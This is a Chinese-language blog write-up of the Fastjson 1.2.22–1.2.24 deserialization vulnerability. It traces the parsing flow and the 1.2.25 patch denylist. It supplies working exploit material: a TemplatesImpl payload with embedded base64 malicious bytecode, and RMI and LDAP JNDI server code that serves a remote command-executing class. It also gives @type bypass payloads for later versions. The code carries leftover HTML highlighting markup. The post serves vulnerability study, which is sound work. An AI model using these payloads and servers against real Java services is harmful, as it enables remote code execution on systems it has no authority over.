Fastjson 1.2.22-24
FastJson在 1.2.22 - 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:
fastjson反序列化时,JSON字符串中的 @type 字段,用来表明指定反序列化的目标恶意对象类。
fastjson反序列化时,字符串时会自动调用恶意对象的构造方法, setter 方法, getter 方法
- 1
- 2
若这类方法中存在利用点,即可完成漏洞利用,而利用方式只要有两种
JdbcRowSetImpl(JNDI)
TemplatesImpl(Feature.SupportNonPublicField)
- 1
- 2
环境配置
JDK 1.8
fastjson1.2.22
<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.22</version></dependency></dependencies>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
反序列化使用
一个简单的Students类,它有一个公有属性name和一个私有属性age
public class Student {public String name;private int age;
<span class="token keyword">public</span> <span class="token class-name">String</span> <span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setName</span><span class="token punctuation">(</span><span class="token class-name">String</span> name<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">int</span> <span class="token function">getAge</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setAge</span><span class="token punctuation">(</span><span class="token keyword">int</span> age<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span>
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
设置一段json字符串并将其反序列化成Student对象
import com.alibaba.fastjson.JSON;
public class learn {
public static void main(String[] args){
String jsonstring =“{”@type":“Student”:“age”:80,“name”:“ghtwf01”,“sex”:“man”}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
Fastjson反序列化流程分析
在parseObject处下断点,跟进
第一行将json字符串转化成对象,跟进parse
继续跟进
这里会创建一个DefaultJSONParser
对象,在这个过程中有如下操作
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser
对象后进入DefaultJSONParser#parse
方法
因为之前设置了token值为12,这里在第一行会创建一个空的JSONObject
,随后会通过parseObject
方法进行解析,在解析后有如下操作
通过scanSymbol
获取到@type
指定类,然后通过 TypeUtils.loadClass
方法加载Class
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
接着创建了ObjectDeserializer
类并调用了deserialze
方法
首先跟进getDeserializer
方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
继续往下调试最后便会调用set和get里面的方法,这样便能成功反序列化。
我这里没有进行区分,这里用parse能成功触发set方法,而parseObject能同时触发了set和get方法,如果我们在get或set方法中存在恶意操作,并且通过autoType进行指定转换就能利于fastjson反序列化漏洞
TemplatesImpl利用链
漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类调用其构造方法,造成任意命令执行。TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手,需要开启Feature.SupportNonPublicField,实战中不适用。
poc
先写恶意类TEMPOC.java,用于弹计算器
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet { //这里为什么要继承AbstractTranslet类后面会说。
<span class="token keyword">public</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span>SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> haFndlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">{<!-- --></span><span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">TEMPOC</span> t <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
将其编译成.class文件,然后base64加密,这里贴一个简单的base64脚本,用来加密payload
import base64
fin = open(r“TEMPOC.class”,“rb”)
byte = fin.read()
fout = base64.b64encode(byte).decode(“utf-8”)
poc = ‘{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“%s”],“_name”:“a.b”,“_tfactory”:{},“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}’% fout
print(poc)
#生成的一个poc
{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==”],“_name”:“a.b”,“_tfactory”:{ },“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
PoC中几个重要的Json键的含义:
@type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes和_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField;
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
_outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;
- 1
- 2
- 3
- 4
前面的流程差不多,直接断点到不同的部分,进入deserialze后解析到key为_bytecodes
时,调用parseField()
进一步解析
跟进parseField
方法,对_bytecodes
对应的内容进行解析
解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue
方法,这里使用了set方法来设置_bytecodes
的值
这里解析到_outputProperties
的内容
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer
方法
跟进getTransletInstance
方法
这里通过defineTransletClasses
创建了TEMPOC类并生成了实例,这里往前翻,有对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类
几个小问题
为什么要继承AbstractTranslet类
就是上面刚说的这个,对父类有验证,所有Payload恶意类要继承自该类
为什么需要对_bytecodes进行Base64编码
上面说了通过FieldDeserializer#parseField
对_bytecodes
对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的FieldDeserializer#parseField
->ObjectArrayCodec#deserialze
->DefaultJSONParser#parseArray
->ObjectDeserializer#deserializer
->JSONScanner#bytesValue
最后会将_bytecodes
的内容进行base64解码返回
为什么需要设置_tfactory为{}
在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错
JdbcRowSetImpl利用链
实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广,必须能出网,加载远端的恶意字节码,造成了局限性
RMI+JNDI
poc
POC如下,@type
指向com.sun.rowset.JdbcRowSetImpl
类,dataSourceName
值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
- 1
服务端JNDIServer.java
public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exloit","badClassName","http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit",referenceWrapper);}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
远程恶意类badClassName.class
public class badClassName {static{try{Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}catch(Exception e){;}}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
客户端JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}";
JSON.parse(payload);
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
LDAP+JNDI
POC和上面基本一样
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
- 1
LdapServer.java,这里需要unboundid-ldapsdk包
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
<span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">final</span> <span class="token class-name">String</span> LDAP_BASE <span class="token operator">=</span> <span class="token string">"dc=example,dc=com"</span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> main <span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> url <span class="token operator">=</span> <span class="token string">"http://127.0.0.1:8888/#badClassName"</span><span class="token punctuation">;</span><span class="token keyword">int</span> port <span class="token operator">=</span> <span class="token number">1389</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">InMemoryDirectoryServerConfig</span> config <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServerConfig</span><span class="token punctuation">(</span>LDAP_BASE<span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">setListenerConfigs</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">InMemoryListenerConfig</span><span class="token punctuation">(</span><span class="token string">"listen"</span><span class="token punctuation">,</span><span class="token class-name">InetAddress</span><span class="token punctuation">.</span><span class="token function">getByName</span><span class="token punctuation">(</span><span class="token string">"0.0.0.0"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>port<span class="token punctuation">,</span><span class="token class-name">ServerSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token class-name">SocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">(</span><span class="token class-name">SSLSocketFactory</span><span class="token punctuation">)</span> <span class="token class-name">SSLSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">addInMemoryOperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">OperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">InMemoryDirectoryServer</span> ds <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServer</span><span class="token punctuation">(</span>config<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Listening on 0.0.0.0:"</span> <span class="token operator">+</span> port<span class="token punctuation">)</span><span class="token punctuation">;</span>ds<span class="token punctuation">.</span><span class="token function">startListening</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">class</span> <span class="token class-name">OperationInterceptor</span> <span class="token keyword">extends</span> <span class="token class-name">InMemoryOperationInterceptor</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">private</span> <span class="token class-name">URL</span> codebase<span class="token punctuation">;</span><span class="token comment">/****/</span><span class="token keyword">public</span> <span class="token class-name">OperationInterceptor</span> <span class="token punctuation">(</span> <span class="token class-name">URL</span> cb <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase <span class="token operator">=</span> cb<span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token comment">/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/</span><span class="token annotation punctuation">@Override</span><span class="token keyword">public</span> <span class="token keyword">void</span> processSearchResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> base <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">getRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getBaseDN</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">Entry</span> e <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Entry</span><span class="token punctuation">(</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token function">sendResult</span><span class="token punctuation">(</span>result<span class="token punctuation">,</span> base<span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e1 <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e1<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">protected</span> <span class="token keyword">void</span> sendResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result<span class="token punctuation">,</span> <span class="token class-name">String</span> base<span class="token punctuation">,</span> <span class="token class-name">Entry</span> e <span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">LDAPException</span><span class="token punctuation">,</span> <span class="token class-name">MalformedURLException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">URL</span> turl <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token char">'.'</span><span class="token punctuation">,</span> <span class="token char">'/'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token string">".class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Send LDAP reference result for "</span> <span class="token operator">+</span> base <span class="token operator">+</span> <span class="token string">" redirecting to "</span> <span class="token operator">+</span> turl<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaClassName"</span><span class="token punctuation">,</span> <span class="token string">"Exploit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">String</span> cbstring <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">int</span> refPos <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token char">'#'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span> refPos <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>cbstring <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> refPos<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaCodeBase"</span><span class="token punctuation">,</span> cbstring<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"objectClass"</span><span class="token punctuation">,</span> <span class="token string">"javaNamingReference"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaFactory"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">sendSearchEntry</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">setResult</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">LDAPResult</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token class-name">ResultCode</span><span class="token punctuation">.</span>SUCCESS<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
LDAPClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup(“ldap://127.0.0.1:1389/badClassName”);
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
恶意远程类和上面一样
断点分析
在jar!\com\sun\rowset\JdbcRowSetImpl.class
进行断点分析,这里通过setDataSourceName(var1);
将dataSourceName
值设置为目标RMI服务的地址
再跟进到setAutoCommit
继续跟进到connect()
中
这里的getDataSourceName
是我们在前面setDataSourceName()
方法中设置的值,也就是说我们可控,同时lookup进行利用就造成了JNDI注入漏洞。
补丁分析
1.2.25
我们从1.2.25看如何对其进行修补,就是将DefaultJSONParser.parseObject()
函数中的TypeUtils.loadClass
替换为checkAutoType()
函数:
checkAutoType()
函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList
为白名单(默认为空,可手动添加),denyList
为黑名单(默认不为空),默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。
denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
运行能看到报错信息,说autoType不支持该类
1.2.25~1.2.41
增加黑名单判断
Bypass
loadClass时会移除开头的L和结尾的;
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
- 1
1.2.42
会先将开头的L和结尾的;移除再进行黑名单判断
Bypass
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
- 1
1.2.43
遇到LL开头的typeName直接抛出异常退出….
1.2.25~1.2.45
绕过黑名单的方式
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
- 1
Fastjson 1.2.22-1.2.24反序列化漏洞分析
Fastjson系列二——1.2.22-1.2.24反序列化漏洞
Fastjson 反序列化漏洞简析